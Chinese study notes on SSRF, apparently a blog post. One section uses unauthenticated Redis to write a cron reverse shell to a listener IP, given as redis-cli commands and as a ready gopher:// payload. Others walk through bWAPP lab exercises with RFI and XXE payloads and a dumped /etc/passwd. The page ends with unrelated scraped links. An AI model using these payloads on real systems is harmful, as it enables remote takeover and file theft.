简单的SSRF的学习
自己眼中的SSRF 成因
服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等)
一SSRF配合redis未授权访问
- redis-cli -h $ flushall
- echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.3/2333 0>&1\n\n"|redis-cli -h $ -x set
- redis-cli -h $ config set dir /var/spool/cron/
- redis-cli -h $ config set dbfilename root
- redis-cli -h $ save
利用这个脚本攻击自身并抓包得到数据流:
改成适配于 Gopher 协议的 URL:
- gopher://192.168.1.11:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
这时候在192.168.1.3这台服务器
- nc -lvv
1redis要存在未授权访问 看看存不存在
支持dict协议 本地支持file协议
这是源代码 意思是把访问url的内容反映到网页上面
gopher协议
二利用bWAPP学习SSRF
SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本:http://192.168.163.157/evil/ssrf-1.txt
接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level选择low,然后点击Hack。
观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
payload:?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST:ip=xxxx
- http://192.168.1.11/bWAPP/rlfi.php
- ?language=http://192.168.1.11/evil/ssrf-1.txt
- &action=go
- ip=192.168.1.2
任务2:使用XXE获取敏感文件中的内容
点击Access获取XXE的利用脚本:10.158.131.81/bWAPP_latest/evil/ssrf-2.txt
然后切换到XXE漏洞利用环境,点击Anybugs?
,抓包
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.11/bWAPP/passwords/heroes.xml">
- ]>
- <reset><login>&bWAPP;</login><secret>blah</secret></reset>
使用file协议获取bWAPP本机的/etc/passwd的内容。
- root:x:::root:/root:/bin/bash
- daemon:x:::daemon:/usr/sbin:/bin/sh
- bin:x:::bin:/bin:/bin/sh
- sys:x:::sys:/dev:/bin/sh
- sync:x:::sync:/bin:/bin/sync
- games:x:::games:/usr/games:/bin/sh
- man:x:::man:/var/cache/man:/bin/sh
- lp:x:::lp:/var/spool/lpd:/bin/sh
- mail:x:::mail:/var/mail:/bin/sh
- news:x:::news:/var/spool/news:/bin/sh
- uucp:x:::uucp:/var/spool/uucp:/bin/sh
- proxy:x:::proxy:/bin:/bin/sh
- www-data:x:::www-data:/var/www:/bin/sh
- backup:x:::backup:/var/backups:/bin/sh
- list:x:::Mailing List Manager:/var/list:/bin/sh
- irc:x:::ircd:/var/run/ircd:/bin/sh
- gnats:x:::Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
- nobody:x:::nobody:/nonexistent:/bin/sh
- libuuid:x::::/var/lib/libuuid:/bin/sh
- dhcp:x::::/nonexistent:/bin/false
- syslog:x::::/home/syslog:/bin/false
- klog:x::::/home/klog:/bin/false
- hplip:x:::HPLIP system user,,,:/var/run/hplip:/bin/false
- avahi-autoipd:x:::Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
- gdm:x:::Gnome Display Manager:/var/lib/gdm:/bin/false
- pulse:x:::PulseAudio daemon,,,:/var/run/pulse:/bin/false
- messagebus:x::::/var/run/dbus:/bin/false
- avahi:x:::Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
- polkituser:x:::PolicyKit,,,:/var/run/PolicyKit:/bin/false
- haldaemon:x:::Hardware abstraction layer,,,:/var/run/hald:/bin/false
- bee:x:::bee,,,:/home/bee:/bin/bash
- mysql:x:::MySQL Server,,,:/var/lib/mysql:/bin/false
- sshd:x::::/var/run/sshd:/usr/sbin/nologin
- dovecot:x:::Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
- smmta:x:::Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
- smmsp:x:::Mail Submission Program,,,:/var/lib/sendmail:/bin/false
- neo:x::::/home/neo:/bin/sh
- alice:x::::/home/alice:/bin/sh
- thor:x::::/home/thor:/bin/sh
- wolverine:x::::/home/wolverine:/bin/sh
- johnny:x::::/home/johnny:/bin/sh
- selene:x::::/home/selene:/bin/sh
- postfix:x::::/var/spool/postfix:/bin/false
- proftpd:x::::/var/run/proftpd:/bin/false
- ftp:x::::/home/ftp:/bin/false
- snmp:x::::/var/lib/snmp:/bin/false
- ntp:x::::/home/ntp:/bin/false
- 's secret has been reset!
修复建议
简单的SSRF的学习的更多相关文章
- scrapy爬虫学习系列二:scrapy简单爬虫样例学习
系列文章列表: scrapy爬虫学习系列一:scrapy爬虫环境的准备: http://www.cnblogs.com/zhaojiedi1992/p/zhaojiedi_python_00 ...
- 路由其实也可以很简单-------Asp.net WebAPI学习笔记(一) ASP.NET WebApi技术从入门到实战演练 C#面向服务WebService从入门到精通 DataTable与List<T>相互转换
路由其实也可以很简单-------Asp.net WebAPI学习笔记(一) MVC也好,WebAPI也好,据我所知,有部分人是因为复杂的路由,而不想去学的.曾经见过一位程序猿,在他MVC程序中, ...
- SSRF深入学习
爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细 ...
- TestNG简单介绍以及安装—学习笔记1
TestNG是什么 到这里,大家肯定已经运行了一些关于Selenium的测试用例了(这里主要是站着一个自动化测试工程师的角度来看待TestNG的,所以这里所说的也都是基于Web测试的验证点来说的,而不 ...
- ssrf漏洞学习(PHP)
自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...
- 用c写的简单的日历(学习模块划分)
简单日历 主要目的是学习函数模块划分,成品大概是这样,加了一些花里胡哨的东西(/▽\) 分三个模块,主函数.c 显示.c 计算.c 与.h 文件 有两种实现方式,区别在于是否以数组在模块之间传 ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- JGUI源码:实现简单MVVM单项绑定学习笔记(15)
前面几节都是jquery界面方面的东西,本节研究些数据方面的东西:MVVM. MVVM由三部分组成:Model <=> ViewModel <=> View,当Model数据改 ...
- 路由其实也可以很简单-------Asp.net WebAPI学习笔记(一)
MVC也好,WebAPI也好,据我所知,有部分人是因为复杂的路由,而不想去学的.曾经见过一位程序猿,在他MVC程序中,一切皆路由,url中是完全拒绝"?"和“&”.对此,我 ...
随机推荐
- golang编写二叉树
最近开始找golang 开发工程师职位,针对算法相关二叉树相关常用面试题搞一遍: package tree import ( "math" "fmt&qu ...
- oracle解锁
--以下几个为相关表SELECT * FROM v$lock;SELECT * FROM v$sqlarea;SELECT * FROM v$session;SELECT * FROM v$proce ...
- Python学习计划-首篇
概述 Python语言这几年的热度一直持续上升,有多火也不用我再介绍了,光从近几年编程语言排行榜的上升热度就能看出,因此我也计划学习一下python语言,并且将每次的学习收获记录下来.一方面是记录下来 ...
- 《Linux就该这么学》day3
ps:原谅我的书法出自鲁迅的<野草> <Linux就该这么学>书本介绍: 本书是由全国多名红帽架构师(RHCA)基于最新Linux系统共同编写的高质量Linux技术自学教程,极 ...
- 使用ViewPager实现导航
1.使用PageAdapter适配器 2.使用FragmentPageAdapter适配器 监听事件: OnPageChangeListener 百度云:链接: http://pan.baidu.co ...
- Android异常与性能优化相关面试问题-OOM异常面试问题详解
什么是OOM? 当前占用的内存加上我们申请的内存资源超过了Dalvik虚拟机的最大内存限制就会抛出Out Of Memory异常. 一些容易混淆的概念: 内存溢出:指的就是OOM. 内存抖动:是短时间 ...
- QT容器类
QList<T> 是一个指针数组,可以使用下标 append(), prepend(), insert() QList<QString> list; list<<& ...
- FastDFS分布式图片服务器搭建
一:Fastdfs简介 1. 什么是FastDFS FastDFS 是用 c 语言编写的一款开源的分布式文件系统.FastDFS 为互联网量身定制, 充分考虑了冗余备份.负载均衡.线性扩容等机制,并注 ...
- [转载]Spark-Task not serializable错误解析
Spark-Task not serializable错误解析 2018年05月17日 15:33:03 沙拉控 阅读数:1509 在学习SparkStreaming的时候偶然出现的一个问题,先看 ...
- 最简单之安装hadoop单机版
一,hadoop下载 (前提:先安装java环境) 下载地址:http://hadoop.apache.org/releases.html(注意是binary文件,source那个是源码) 二,解压配 ...